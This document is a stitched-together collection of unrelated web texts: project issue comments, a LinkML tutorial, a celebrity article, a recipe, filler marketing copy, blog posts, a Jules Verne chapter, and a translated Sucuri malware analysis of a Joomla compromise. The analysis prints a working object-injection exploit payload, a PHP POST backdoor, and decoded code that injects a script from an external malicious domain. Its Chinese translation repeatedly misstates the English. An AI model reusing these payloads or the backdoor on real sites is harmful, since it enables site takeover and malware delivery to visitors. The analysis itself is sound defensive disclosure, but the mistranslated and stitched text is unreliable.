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by None at 2021-05-05 12:55:20.closed
by None at 2021-05-05 12:55:24.Joan prefers to have everything go through<EMAIL_ADDRESS>for now, just as before
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by None at 2021-05-05 12:56:13.You can customize the email addresses (or URL) to which the Contact Us and My Account links are directed by configuring the emailmyaccount and emailcontactus parameters; see Configuring Other Settings.
emailcontactus | The email addresses (in a format such as mailto<EMAIL_ADDRESS>or URL (http://...) to which the Contact Us link is directed. For more information, see Configuring Letter Labels.
Circular reference :-(
Configuration Menu > General > General Configuration > Other Settings
Does this impact any other emails?
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by None at 2021-05-05 17:22:43.labeled
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by None at 2021-05-05 17:24:59.This is what we have so far configured in Alma as remote_storage:
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by Bess Sadler at 2021-05-05 19:00:46.The solution to this isn't ideal, but as of PR #898 this project will use lando for local development, and the solr_wrapper dependency has been removed from both local development and CI.
Future enhancement will include consolidating the number of database containers: https://github.com/pulibrary/dpul/issues/899
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by Trey Pendragon at 2021-05-05 19:04:50.Mark (Atmire) sees no quick fix to this. Putting in the icebox for now.
I did what I said I wouldn't and looked at the code ;-)
The current codebase does not have the fix described in DS-2936 in it. Would you like us to apply it?
If it's quick and easy, then certainly! Thank you very much
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by None at 2021-05-05 20:02:02.ok, I looked again the migration files and they seem ok to me based on the dates. for reference these are the 2 migration files that existed in locations but not in bibdata: https://github.com/pulibrary/locations/blob/87-add-remote-storage/db/migrate/20171213175117_remove_locations_library_from_locations_floors.rb https://github.com/pulibrary/locations/blob/87-add-remote-storage/db/migrate/20171213175341_drop_locations_floors.rb
As far as I know we don't use the locations floors and it would be ok to remove them.
based on a discussion in slack with @carolyncole and @kevinreiss requests are checking for blank? for the holding location attributes and it covers both nil and empty string. Even though we set default values in the rest of the attributes and we don't let them nil I will change the remote_storage to be nil based on @hackartisan question and @kevinreiss confirmation.
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by Francis Kayiwa at 2021-05-05 16:49:29.As of 05/05/21, I am finding that this is blocking deployments.
One solution proposed by @tpendragon is to integrate support for hubot-deploy and update octokit.
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by Eliot Jordan at 2021-05-05 18:13:11.Looks like the Component Unique Identifier ASpace field or unitid element is not displaying. The element is in the EAD. This info will need to be sent to Aeon/visible on call slips as well, correct @ccleeton?
Yes it will need to be on the call slips.
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by None at 2021-05-05 15:46:50.Superseded by #657.
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An R^3 rotation parameterized by roll, pitch, yaw.
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--- layout: post status: publish published: true title: Old Code Samples author: display_name: Tomas Restrepo login: tomasr email<EMAIL_ADDRESS>url: http://winterdom.com/ author_login: tomasr author_email<EMAIL_ADDRESS>author_url: http://winterdom.com/ wordpress_id: 333 wordpress_url: http://winterdom.com/2004/11/oldcodesamples date: '2004-11-27 10:51:24 +0000' date_gmt: '2004-11-27 10:51:24 +0000' categories: - Development tags: [] comments: [] ---
While looking through some of my project directories today, found a few old samples I had written years ago. For the sake of it, decided to upload some of them to my dev section, although at this stage, I doubt anybody cares about it ;)


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AlgoRhythm, the annual techno-cultural festival of CSI-JMI chapter commenced in the year 2001, with an aim of providing students a first-hand experience of handling and managing an event apart from instilling interactive and managerial skills in the students, which is as important as sound technical education in today’s competitive world.
It is indeed the commencement of metamorphosis of mere study conscious souls to smart professionals. It has grown several-fold in magnitude ever since its conception, slowly transforming into an all Asia event over the past couple of years. Each year AlgoRhythm has been put better and this time it’s going to be another extravagant affair with a footfall of thousands.


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This web application is built using the D3.js, JQuery, and Bootstrap. Angular JS was not used due to a number of different reasons. Since I am not familiar with the framework, it would take a long time to learn how to set up the application and ensure the code follows standard angular practices. Hopefully this is fine with you guys!
The code is seperated into three javascript files:
This is an exercise in data manipulation. Using the provided interview.json file, group it by the operation field and calculate an average value. Any language or methodology can be used.
Average value per Operation vs. Operation
For the purposes of answering these question, we define a notable operation as one that deviates from the mean by a significant amount. Rather than setting a hard value, we will let the user navigate the data and decide for him/herself. Plot the grouped data from part 1 using a bar chart and place a horizontal line at the mean level. When the mouse is hovered on top of a bar, the aggregated value amount should be displayed as a tooltip.
Average value per Operation vs. Operation
So far we’ve ignored the location of the transactions. Using two pie charts, plot the total value amount for each location and the total number of operations. You can either embed the values in the pie slices or use a tooltip.
Total Value per Location
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About Us¶
Team:
Prof. C. Sivaram
Arun Kenath
Avijeet Prasad
Prof. C. Sivaram retired as senior professor, Indian Institute of Astrophysics, Bangalore, received his PhD Degree from the indian Institute of Science in 1977. After a few years on the staff of IISc, he joined Indian institute of Astrophysics as a visiting fellow in 1980 and moved up the academic ladder since. In IIA his research work has mainly been in several areas of theoretical astrophysics and cosmology.
His early work on the early universe resulted in some of the earliest work on inflation models dealing with a time varying cosmological constant. Some of the work has led to insights into the unification of fundamental interactions in the early universe with energy dependent coupling constants. He had also made several contributions to high energy astrophysics, some of which include the origin and acceleration of the highest energy cosmic rays, gamma ray and neutrino production in quasar effects of neutron antineutron oscillations, decay of cosmic strings and dbranes and COBE constraints on particle properties and theories. Also, contributions are made to the solar neutrino problem, pulsar physics, gravitational radiation, theories of galaxy formation, dark matter etc. along with some new work on black hole entropy.
He has authored or co-authored several review articles which have also appeared in Physics Reports, Reports in Prog Physics, etc. Recently he had been invited to contribute many such articles to several monographs. He was an invited speaker at more than 25 international conferences and also a plenary speaker at several NATO Advanced Study Institutes an topics ranging from black holes, cosmology and particle physics to gravitational waves, etc.
His recent studies on spin effects in gravitation led to a monograph on the subject (co-authored with de Sabbata) published by World Scientific). Over the years he has collaborated with leading scientists from several countries. He has held more than ten visiting professorships abroad (including two sabbaticals) over the past decade in universities in Europe, North and South America, Australia, Russia, etc. He was also a Joint Director of projects of the World Laboratory Geneva for the period between 1989 to 1994.
His recent foreign collaborations include: work on chromogravity approach to quark and gluon confinement with Nobel laureate Abdus Salam, later extended with Ne’eman; spin and torsion effects gravitation with de Sabbata; new models of inflation with de Andrade; radioactive effects of additional long range forces in binary systems with Bertotti; COBE constraints on galaxy correlations with Landsberg plus on many other topics ranging from interference in gravitational field, entropy of gravitating systems and new approaches to the quantization of gravity (these latter areas with noted German, Russian, Brazilian and Chinese scientists).
Apart from outside collaborations, he has collaborated with several of his colleagues in IIA on a whole spectrum of topics in astrophysics.
Among the international awards received are Martin Forster Gold Medal and the Ettore Majorana Fellowship. Over twenty of his papers were selected for Honourable Mention in the Gravity Research Foundation Competition. He also received an international prize for a recent proper.
He has more than 250 publications in international journals. He is a fellow of the International Astronomical Union (IAU) and a member of the IAU Commission No. 51 an on Bioastronomy for the past several years. He has authored/co-authored seven books on topics ranging from astrophysics, cosmology to astrobiology and rocket dynamics.
Arun Kenath is an avid physicist and academician. He is the recipient of six gold medals from Bangalore University. He has a PhD in Physics (Astrophysics). His primary area of expertise is cosmology and theoretical astrophysics. He has been an invited speaker to various institutions, on topics ranging from cosmology to artificial intelligence. He serves in the editorial board of three international peer-review journals/newsletters. He has published papers in various international journals, and has authored four books on astrophysics and astrobiology. He currently works as a lecturer at the Department of Physics, Christ Junior College, Bangalore.
Avijeet Prasad is currently a postdoctoral fellow at the University of Alabama in Huntsville. His research focuses on the magnetohydrodynamics of the solar atmosphere and high energetic phenomena like solar flares and coronal mass ejections.


Inside Wes Nelson and Arabella Chi's love nest as they move in after just three months
The Love Island stars have taken a huge step in their relationship after just three months of dating
by Irishmirror.ieWes Nelson and Arabella Chi have taken their relationship to a new level, moving in together after just three months of dating.
The couple took to Instagram to show off their new love nest as they unpacked their household appliances and unpacked their boxes.
Wes, 21, who took part in Love Island in 2018, and 29-year-old Arabella, who starred in the 2019 series, are officially cohabitating just three months into their romance.
Their new flat is lightly-furnished so far but it's early days.
They've just started moving in their boxes, filling up their wardrobes and stocking up their kitchen.
Wes cracked open a beer as he booted up his laptop and stuck some music on.
The lovers' flat features sleek wooden floors and marble kitchen countertops, as well as built-in wadrobes for a super tidy design layout.
As they gave fans a tour of their new place, Wes pointed out his favourite item - a spice rack.
He joked it would be Tommy Fury and Molly-Mae's worse nightmare after people recently poked fun at them over their plain-looking meal.
Wes laughed: "Here is the kitchen set-up at the minute. Some nice little bits that we got today and this in particular, I imagine is Tommy and Molly's worst nightmare."
So far the kitchen counters are stocked with bottles of champagne and gin, a water filter, a kettle and toaster, and some other bits and bobs.
The hallway is almost empty for the minute, with just a small grey table with a lamp sat on top.
Other rooms are piled high with boxes waiting to be unpacked by the lovebirds.
During a shopping trip, Wes said he'd be documenting the move-in for fans, and encouraged people to offer suggestions about their furnishings.
He said: "We are gonna blog the whole move in and we want you to help designing the apartment."
The move comes after the couple opened up about their age gap, saying it doesn't mean a thing to them.
Wes told OK! magazine : "People tell me I act way older than my age. I'm very mature, and Arabella is the immature one."
Arabella added: "People always think I'm 21 because I don't look, or act my age. Wes has had a lot of life experience because he's been on Love Island and has done a lot, so he has been fast tracked."
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The ProxyContext is a helper class that helps Canvas debugging by logging all interactions with a 2D Canvas context.
Example
view._context = new ProxyContext(view._context);
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Podcasting operational change management inside of workflows to establish a framework. Taking seamless key performance indicators offline to maximise the long tail. Keeping your eye on the ball while performing a deep dive on the start-up mentality to derive convergence on cross-platform integration. Objectively innovate empowered manufactured products whereas parallel platforms. Holisticly predominate extensible testing procedures for reliable supply chains. Dramatically engage top-line web services vis-a-vis cutting-edge deliverables.
Podcasting operational change management inside of workflows to establish a framework. Taking seamless key performance indicators offline to maximise the long tail. Keeping your eye on the ball while performing a deep dive on the start-up mentality to derive convergence on cross-platform integration. Objectively innovate empowered manufactured products whereas parallel platforms. Holisticly predominate extensible testing procedures for reliable supply chains. Dramatically engage top-line web services vis-a-vis cutting-edge deliverables.


{% from "path_macros.html" import path_card %}
{% macro belief_tab(belief_data) -%}
Description
Each statement in the model has an associated belief which represents
the confidence level that the statement is correct. This tab shows the
distribution of beliefs among statements in the model and allows users
to select a belief range to view the statements within it.
Belief Distribution
{% if belief_data %}
{% else %}
No belief data is available at the moment
{% endif %}
View Statements within Belief Range
{% if belief_data %}
{% else %}
No belief data is available at the moment
{% endif %}


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Preparation time
less than 30 mins
Cooking time
30 mins to 1 hour
Serves
Serves 2-3
This hot and tasty Jamaican fish soup is speedy, spicy, easy to make and full of flavour.
Cut the red-snapper fillets into thirds to create six pieces in total.
In a large bowl, mix the fish seasoning with the lemon juice until smooth and dissolved. Add the fish pieces and mix well to coat them in the marinade. Set aside to marinate for 30 minutes.
Bring 1.5 litres/2¾ pints water to the boil in a large saucepan. Add the reserved fish bones and head, the thyme and the garlic. Reduce the heat until the stock is simmering and continue to simmer for 30 minutes. Strain through a fine sieve, returning the strained liquid to the pan.
Add the carrot, green bananas, cho cho and yam and simmer for 10 minutes, or until tender.
Add the marinated fish fillets and the marinade. Carefully balance the chilli on top of the fish, only allowing it to become partially submerged in the stock. (Submerge the chilli fully to release its seeds if you want a hotter dish - be warned that Scotch bonnet chillies are very hot.) Continue to simmer for a further 8 minutes, or until the fish is almost cooked through.
Add the spring onions and simmer for a final 2-3 minutes, or until the fish flakes easily and is just cooked through. Serve in bowls.


“The will to win, the desire to succeed, the urge to reach your full potential….these are the keys that will unlock the door to personal excellence.”
We are able to make impossible things possible by following a strategic approach. We are a leading Web Designing Firm in Toronto that presumes true that to accomplish the eventual goal, we first have to discover the roads that lead to it. The first phase of our process wheel comprises recognizing every infinitesimal detail about your business that can be used to bring about the road to success for your organization. In this phase, we comprehend your needs and ask you significant questions like:
What is the intention of creating a website? What are you looking forward from the website? What is the ultimate goal of your website? What sort of audience do you want to target? Who are your competitors and their websites? What are your basic requirements? What is your time-limit? What is your fiscal estimate?
The answers to the above- mentioned questions help us in getting a clear insight and a deep picture of the company and ideas that can be advantageous and productive in surviving the cut-throat competition. Following is the next step which is the research process to analyze your competitor’s weak points and to avoid their warts and all, use advance guard technologies and develop the designs that generate the outstanding results. We organize all the possible data through probing and analyzing and accordingly plan the next step.


This is a test of my new CMS blog program, blobber. Blobber is written in 100% C, and is comic-book rocket fast.
I wrote blobber out of frustration with Jekyll. It was driving me crazy. I thought that in the time it would take me to get Jekyll working again, I could write something that would be faster and smaller. I’m very happy with the result. I’m tired of fighting 400 Ruby libraries that Jekyll seems to be useless without.
Still learning markdown, though. I like the idea. It’s sort of like HTML for programmers. I’ve never been super crazy about XML or HTML. It’s tough to parse, and readability is very poor.
Markdown isn’t perfect, but it’s much more readable. Blobber doesn’t support markdown out of the box, but with a quick shell script it becomes easily digestible for blobber to mess with.
Here’s some features of blobber:
The last one is a biggie. Blobber easily sorts posts, keeps them organized, and keeps all the tags and indices straight.
I like to blog about stuff that I code, so good syntax highlighting is important. It turns out it’s pretty easy.
Code in C looks like this:
#include <stdio.h>
int main()
{
/* printf() string to stdout */
printf("Hello, World.");
return 0;
}
Pretty sweet, eh? Why incorporate a parser and write a lexer when the work has already been done (several times?)
I know that last statement is a bit silly, considering that I wrote blobber in response to Jekyll. However, I really like blobber better. It’s very simple, so I can write a bunch of shell scripts to make whatever kind of site I want. Blobber makes it easy to keep my content separate from my code.
In the future, this blog will feature more posts about programming and general purpose data design. Sooner or later I’ll get around to posting blobber on github too.


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Responsively crop content copy down to a user-defined number of lines. Click to restore content via a typed animation.
Vanilla JavaScript running at 60fps. I believe WCAG 2 accessible but unconfirmed. 1K approx minified & gzipped.
Examples
Single line crop
My wife Maria, loves hot spicy food. I found this out on our first date. She said “I really fancy a curry”. Well, I was keen to impress so I said, “great, that’s my favourite too ”But it isn’t, never has been. We’ve been married 15 years and I still haven’t
let on. Don’t know why. But whenever I cook her favourite chicken gujarati extra spicy, with green beans and fresh ginger, I do what any self-respecting chef would do. I cheat. I put a king size spoonful of natural yoghurt in mine. And I keep schtum.
Three lines
Sometimes, it's the undemandingly easy, everyday, recipes that deliver the most joy. For 'Iain' and his dad, from our Food Love Story, it's croque monsieur – they first had it on a joint trip to France, and since then it's become their favourite weekend
lunch. Iain's made a few changes to it along the way (bonjour, wafer thin roast turkey) – but for him and his dad, it's most definitely 'proper'.
Two lines
Any parent will probably be able to relate to 'Sunita' in our Food Love Story. Kids can be champion fussy eaters, especially when it comes to vegetables. Here's a genius solution – meatballs packed with under-the-radar veg. Sunita's kids love them, and are none the wiser.
Basic usage
Include a link to the script:
Add data attributes to the content block(s):
Data attribute value equals number of lines to display.
Required CSS:
Status
Considered too jarring visually. Project to be redeveloped with smooth text expansion.


Part 1: Creating your first LinkML schema
We assume that you already have LinkML installed
For the purposes of this tutorial, the simplest setup is to use a virtual environment, and then install linkml:
mkdir linkml-tutorial
cd linkml-tutorial
python3 -m venv venv
source venv/bin/activate
pip install linkml
You can check the install worked:
linkml-convert --help
As always, you can consult the FAQ if you have issues.
Your first schema
Our first schema consists of a single class Person
, with a number of slots:
First create a file
personinfo.yaml:
id: https://w3id.org/linkml/examples/personinfo
name: personinfo
prefixes:
linkml: https://w3id.org/linkml/
imports:
- linkml:types
default_range: string
classes:
Person:
attributes:
id:
full_name:
aliases:
phone:
age:
(note that all files are available in the examples/tutorial folder of this repository)
Converting to JSON-Schema
Now run the following command on the file you just created:
gen-json-schema personinfo.yaml
Outputs:
{
"$defs": {
"Person": {
"additionalProperties": false,
"description": "",
"properties": {
"age": {
"type": "string"
},
"aliases": {
"type": "string"
},
"full_name": {
"type": "string"
},
"id": {
"type": "string"
},
"phone": {
"type": "string"
}
},
"required": [],
"title": "Person",
"type": "object"
}
},
"$id": "https://w3id.org/linkml/examples/personinfo",
"$schema": "http://json-schema.org/draft-07/schema#",
"additionalProperties": true,
"properties": {},
"title": "personinfo",
"type": "object"
}
Don’t worry if you don’t know much about JSON-Schema. This is just an illustration that LinkML can be used in combination with a number of frameworks.
Creating and validating data
Let’s create an example data file. The file will contain an instance of the class we defined in our personinfo.yaml
schema:
data.yaml:
id: ORCID:1234
full_name: Clark Kent
age: 32
phone:<PHONE_NUMBER>
Validate:
linkml-validate -s personinfo.yaml data.yaml
You should see no errors. This means your data is valid. Success!
To see an example of data not validating:
bad-data.yaml:
id: ORCID:1234
full_name: Clark Kent
age: 32
phone:<PHONE_NUMBER>
made_up_field: hello
linkml-validate -s personinfo.yaml bad-data.yaml
This should report an error to the effect that made_up_field
is not known.
Working with JSON
One of the advantages of LinkML is the same datamodel can be used for multiple expressions of the same data, for example:
YAML/JSON
TSVs/spreadsheets
RDF
Relational Databases
There are various complexities involved in going between these, but YAML and JSON are basically interchangeable with LinkML
data.json:
{
"id": "ORCID:1234",
"full_name": "Clark Kent",
"age": 32,
"phone": "555-555-5555"
}
This will validate in the same way as the equivalent YAML file:
linkml-validate -s personinfo.yaml data.json
Converting to RDF
You can use the linkml convert tool to convert your data to other formats, including RDF:
linkml-convert -s personinfo.yaml data.yaml -o data.ttl
(Note the converter uses the suffix to determine that RDF/turtle is required, but you can be explicit by setting -t
)
This will produce an RDF/turtle file as follows
@prefix ns1: <https://w3id.org/linkml/examples/personinfo/> .
[] a ns1:dict ;
ns1:age "32" ;
ns1:full_name "Clark Kent" ;
ns1:id "ORCID:1234" ;
ns1:phone "555-555-5555" .
If you are not familiar with RDF that’s OK! RDF is just one of the possible ways of working with LinkML.
Exercises
Extend the example schema to include fields for
occupation
andemployed_by
Create a test data instance to indicate Clark Kent has an occupation of reporter and is employed by the Daily Planet
Validate the data
Collections of data
Our toy example so far has a single person instance. Next we’ll see how to exchange lists of records.


I am a big fan of the static-site movement. As such, I have been going through all of my web sites and converting the ones that can be served as flat files to this type of simple platform. We have recently converted the Behance Tech site (where I work) from WordPress to static files and would like to document our new content publishing workflow publicly so that others may learn from it or perhaps offer their own opinions.
I'll begin by saying, as a technologist writing for the web, I find the Github pull request workflow combined with the benefits of static site platforms to be liberating and invigorating. Here are some of the key reasons why:
- Served using Github Pages (no server costs)
- Inherently secure
- Write in your preferred editor, not some substandard web editor
- Write in Markdown with "markup" that stays out of the way
- Write limited meta data at the top of the file
- Open a pull request to get review of the post
- Merging the pull request publishes the post
There are many benefits and not many downsides, IMHO, and it seems to be a no-brainer decision to move to this approach. This may be partly because as a technologist I am comfortable in the world of text editors and versioning repositories, but I think other non-tech people could get on board too.
Here are the basic steps for a contributor to get involved:
tl;dr
- fork; clone; branch (basically, get a copy of the code locally)
- write;
- commit your work; pull request; merge/publish
More Details:
- If you haven't already, fork the master repo, clone it locally
* optional: for this workflow, it is best to create a branch for your post - Add yourself to the authors file if this is your first contribution
- Write in markdown (
.md
) with the minimal meta information at the top of the document
* optional: use the_drafts
folder if you are not publishing on merge (scheduled posts)
* optional: commit the work to manage "revisions"; push to your remote to keep your work "backed up"; open the pull request only when you are ready - When ready for review (final or incremental), push the post to your remote and open a pull request
* note: if it is a post scheduled to be published at a later date or if you are looking for comments and not ready to publish, keep the post in the_drafts
directory; if the post is ready to be published immediately, move the file to the_posts
directory and prefix the filename with the date (2015-09-27-my-fence-post.md
) before opening the pull request - Colleagues can then view and comment on the content (potentially with a "diff" of a previous version, if one exists in the "upstream")
- Once you and the reviewer(s) are satisfied, merge the PR. If the content was moved to the
_posts
directory in the PR, then you are now "published"
There may be some unfamiliar terms above (depending on your skill level and experience with these particular tools and techniques), but hopefully the bullet points and steps were conceptually descriptive enough to walk you through the flow at a high level and demonstrate the benefits.


文章原文轉自 : blog.sucuri.net
Over the past few weeks we’ve seen a large number of Joomla websites compromised with the Realstatistics malware campaign. This mass infection is still evolving and continues to distribute harmful ransomware to compromised website visitors.
在幾個禮拜前我們公開 Realstatistics malware campaign，這篇關於 Joomla 網站文章後的幾個禮拜，這種大規模的感染，仍然再不斷勒索跟繼續感染網站用戶。
Today we are providing more context on the new attack vector and exploitation process used to to compromise these sites.
今天我們在這篇stie 將提供更多關於新的攻擊思維跟發生原因。
The initial attack vector is a variation of the Remote Command Execution vulnerability in Joomla that was heavily exploited at the end of last year. Despite the fact that it has been patched, we still see many attempts to exploit this vulnerability using the original methods we disclosed. Almost all web application firewalls have now virtually patched this variation of the exploit. As a result, we see fewer successful attempts at compromising Joomla sites with this older vulnerability.
最一開始的攻擊且嚴重的exploit 版本是前年的 Remote Command Execution vulnerability in Joomla。 儘管在幾年已經被修復了，但直到今天，我們仍然可以看到，有人嘗試用我們發布的這個 expoit 來攻擊網頁。雖然現在幾乎大部分的WAF (Web Application Firewall) 都修補（path）掉這個exploit。但也是因為這理由，我們仍然可以看見一些成功攻擊，仍有這個漏洞的舊版 Joomla。
The new variation we discovered is using a new vector with the filter-search option which hasn’t yet been disclosed. This results in a far higher success rate, and has a lot to do with why the Realstatistics malware campaign is successful in compromising a high number of sites in such a short period of time.
當我們用 filter-search option 的選項時，我們發現了這個新的漏洞，但我們目前還沒有公佈。因為這漏洞可以在短時間內獲得大量的主機。
<IP_ADDRESS> - - [19/Jun/2016:03:16:21 -0400]
"POST /?option=com_tags HTTP/1.1" 403 4229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
"POSTLOG:filter-search=bigus%7D__hxsjcurrrt%7CO%3A21%3A%22JDatabaseDriverMysqli%22%3A3%3A%7Bs%3A4%3A%22%5C0%5C0%5C0a%22%3BO%3A17%3A%22JSimplepieFactory%22%3A0%3A%7B%7Ds%3A21%3A%22%5C0%5C0%5C0disconnectHandlers%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SimplePie%22%3A5%3A%7Bs%3A8%3A%22sanitize%22%3BO%3A20%3A%22JDatabaseDriverMysql%22%3A0%3A%7B%7Ds%3A5%3A%22cache%22%3Bb%3A1%3Bs%3A19%3A%22cache_name_function%22%3Bs%3A6%3A%22assert%22%3Bs%3A10%3A%22javascript%22%3Bi%3A9999%3Bs%3A8%3A%22feed_url%22%3Bs%3A71%3A%22eval%28base64_decode%28%24_SERVER%5B%27HTTP_QGYSD%27%5D%29%29%3BJFactory%3A%3AgetConfig%28%29%3Bexit%3B%22%3B%7Di%3A1%3Bs%3A4%3A%22init%22%3B%7D%7Ds%3A13%3A%22%5C0%5C0%5C0connection%22%3Bi%3A1%3B%7D\xF0\xFD\xFD\xFD"
As you can see from the date stamp, the initial vulnerability was exploited in June, but we didn’t see attempts to access the backdoor until the beginning of July:
這段惡意的 payload ，它最一開始的版本是發生在六月，但在七月前我們沒有看過有人嘗試連接到這 backdoor。
<IP_ADDRESS> - - [01/Jul/2016:04:41:20 -0400]
"POST /modules/cache.uniq_04793.php HTTP/1.1" 403 4261 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
"POSTLOG:&php_func=assert&php=print%28%22MY_S%22.%22UCCESS%22%29%3B"
With this request, attackers are simply testing whether the backdoor installation was successful or not.
這一段request，我們可以測試backdoor 有沒有成果安裝在上面。
The content of this backdoor is common to many backdoors we see:
我們可以看到這段後門的內容是 :
<?php if(isset($_POST["php_func"])){@$_POST["php_func"](stripslashes($_POST["php"]));};?>
After the attempts to see whether the backdoor was successful or not, attackers attempt to inject the payload utilizing the backdoor.
在這個步驟我們可以確認我們backdoor 是否有注入payload 成功
<IP_ADDRESS> - - [01/Jul/2016:09:35:27 -0400]
"POST /modules/cache.uniq_04793.php HTTP/1.1" 403 4261 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
"POSTLOG:&php_func=assert&php=assert%28base64_decode%28str_rot13%28%27MKMuoPuvLKAyAwEsMTIwo2EyXUA0py9lo3DkZltaHHEwnaO6rJukHR52EwWWAHDlqKyZZzqHpUb5nUSDIwqEETWOHUMSHxIVI0ySoGOgDzbjJRAgAQuQZ09vpR4jJSSRLauhFwIxFmWOnH1HFUEQEx5uD1IOq3O6rJckHR9zGRb1LKSXH2SAEmO2EacGZxkWDKqjraydpIOJqUSIrJcAEmO2pIEWAUSDBIuZF011FQWOoT5YGmOJqx9gpUcnBIM6qGOkIH42JJj5oR1XH2MjZ0I1pIE5oKSHrKqjoQIdpUb4nJ5uJzyZFwI1o1I5ZT5XDJ1M….”
That is just part of the encoded payload in the request above, but after decoding the full payload this is the result:
這邊只是一部分加密的payload，再之後我們會解密掉全部的payload。
print "KeyCheckFront";
...
$inj_code = '<script language="JavaScript" type="text/JavaScript"
src="hxxp://realstatistics[.]pro/js/analytics.php?id=123"></script>';
//$inj_code = '<!-- lol777 -->';
$inj_search = '</head>';
...
As you can see from the code, the payload is injecting fake Realstatistics analytics code into the head section of any PHP template on the site.
當我們看到這段payload code，我們會發現假的Realstatistics analytics code ，已經 inject 進我們網站的PHP 樣版裡。
Check Your Joomla Sites
確認你的Joomla 網站
This infection is only impacting unpatched Joomla sites, so make sure that your Joomla sites are up-to-date. This is a new attack vector on an old vulnerability, so if you can’t patch, you should be sure your website firewall is virtually patching this new variation.
這段 payload 只會攻擊目前還沒修補 path 過的 Joomla，所以趕快 Update 你的 Joolma 。由於這是一個新的攻擊方式，所以如果你發現你的 Joomla 還沒有修補，你應該確認你的WAF (Website Application Firewall)，有沒有此漏洞的相關Patch。
We recommend checking your logs for requests from <IP_ADDRESS> – if you find requests similar to the ones in this post, consider your website compromised. At this point you should take steps to remove the malware immediately and prevent reinfection.
我們建議確認你得 log 檔理有沒有<IP_ADDRESS> 這條來源 IP ，如果你找到這條 requests 有存在你的記錄裡面，你應該立即移掉這條 request ，防止再度被感染。
If you are using our CloudProxy Website Firewall, your site is protected against this vulnerability through our virtual patching feature. Our incident response team is always standing by ready to assist you in cleaning and protecting your site if you need assistance.
如果你有用我們的 CloudProxy Website Firewall，那麼你的網站將不會受到這漏洞的影響，目前我們的 立即反應團隊 已經修補了此漏洞


The Journey to the Center of the Earth
by Jules Verne
Chapter VII. A WOMAN'S COURAGE
Additional Information
- Year Published: 1871
- Language: English
- Country of Origin: France
- Source: Verne, J. (1871) A Journey to the Center of the Earth (Frederick Amadeus Malleson, Trans.) London: Ward, Lock, &Co., Ltd. (Original work published 1864)
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Readability:
- Flesch–Kincaid Level: 6.0
- Word Count: 2,022
- Genre: Adventure
- ✎ Cite This
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Thus ended this memorable seance. That conversation threw me into a fever. I came out of my uncle's study as if I had been stunned, and as if there was not air enough in all the streets of Hamburg to put me right again. I therefore made for the banks of the Elbe, where the steamer lands her passengers, which forms the communication between the city and the Hamburg railway.
Was I convinced of the truth of what I had heard? Had I not bent under the iron rule of the Professor Liedenbrock? Was I to believe him in earnest in his intention to penetrate to the centre of this massive globe? Had I been listening to the mad speculations of a lunatic, or to the scientific conclusions of a lofty genius? Where did truth stop? Where did error begin?
I was all adrift amongst a thousand contradictory hypotheses, but I could not lay hold of one.
Yet I remembered that I had been convinced, although now my enthusiasm was beginning to cool down; but I felt a desire to start at once, and not to lose time and courage by calm reflection. I had at that moment quite courage enough to strap my knapsack to my shoulders and start.
But I must confess that in another hour this unnatural excitement abated, my nerves became unstrung, and from the depths of the abysses of this earth I ascended to its surface again.
"It is quite absurd!" I cried, "there is no sense about it. No sensible young man should for a moment entertain such a proposal. The whole thing is non–existent. I have had a bad night, I have been dreaming of horrors."
But I had followed the banks of the Elbe and passed the town. After passing the port too, I had reached the Altona road. I was led by a presentiment, soon to be realised; for shortly I espied my little Gräuben bravely returning with her light step to Hamburg.
"Gräuben!" I cried from afar off.
The young girl stopped, rather frightened perhaps to hear her name called after her on the high road. Ten yards more, and I had joined her.
"Axel!" she cried surprised. "What! have you come to meet me? Is this why you are here, sir?"
But when she had looked upon me, Gräuben could not fail to see the uneasiness and distress of my mind.
"What is the matter?" she said, holding out her hand.
"What is the matter, Gräuben?" I cried.
In a couple of minutes my pretty Virlandaise was fully informed of the position of affairs. For a time she was silent. Did her heart palpitate as mine did? I don't know about that, but I know that her hand did not tremble in mine. We went on a hundred yards without speaking.
At last she said, "Axel!"
"My dear Gräuben."
"That will be a splendid journey!"
I gave a bound at these words.
"Yes, Axel, a journey worthy of the nephew of a savant; it is a good thing for a man to be distinguished by some great enterprise."

"No, my dear Axel, and I would willingly go with you, but that a poor girl would only be in your way."
"Is that quite true?"
"It is true."
Ah! women and young girls, how incomprehensible are your feminine hearts! When you are not the timidest, you are the bravest of creatures. Reason has nothing to do with your actions.  Would she not be afraid to join it herself? And she was driving me to it, one whom she loved!
I was disconcerted, and, if I must tell the whole truth, I was ashamed.
"Gräuben, we will see whether you will say the same thing tomorrow."
"To–morrow, dear Axel, I will say what I say to–day."
Gräuben and I, hand in hand, but in silence, pursued our way. The emotions of that day were breaking my heart.
After all, I thought, the kalends of July are a long way off, and between this and then many things may take place which will cure my uncle of his desire to travel underground.
It was night when we arrived at the house in Königstrasse. I expected to find all quiet there, my uncle in bed as was his custom, and Martha giving her last touches with the feather brush.
But I had not taken into account the Professor's impatience. I found him shouting– and working himself up amidst a crowd of porters and messengers who were all depositing various loads in the passage. Our old servant was at her wits' end.
"Come, Axel, come, you miserable wretch," my uncle cried from as far off as he could see me. "Your boxes are not packed, and my papers are not arranged; where's the key of my carpet bag? and what have you done with my gaiters?"
I stood thunderstruck. My voice failed. Scarcely could my lips utter the words:
"Are we really going?"
"Of course, you unhappy boy! Could I have dreamed that yon would have gone out for a walk instead of hurrying your preparations forward?"
"Are we to go?" I asked again, with sinking hopes.
"Yes; the day after to–morrow, early."
I could hear no more. I fled for refuge into my own little room.
All hope was now at an end. My uncle had been all the morning making purchases of a part of the tools and apparatus required for this desperate undertaking. The passage was encumbered with rope ladders, knotted cords, torches, flasks, grappling irons, alpenstocks, pickaxes, iron shod sticks, enough to load ten men.
I spent an awful night. Next morning I was called early. I had quite decided I would not open the door. But how was I to resist the sweet voice which was always music to my ears, saying, "My dear Axel?"
I came out of my room. I thought my pale countenance and my red and sleepless eyes would work upon Gräuben's sympathies and change her mind.
"Ah! my dear Axel," she said. "I see you are better. A night's rest has done you good."
"Done me good!" I exclaimed.
I rushed to the glass. Well, in fact I did look better than I had expected. I could hardly believe my own eyes.
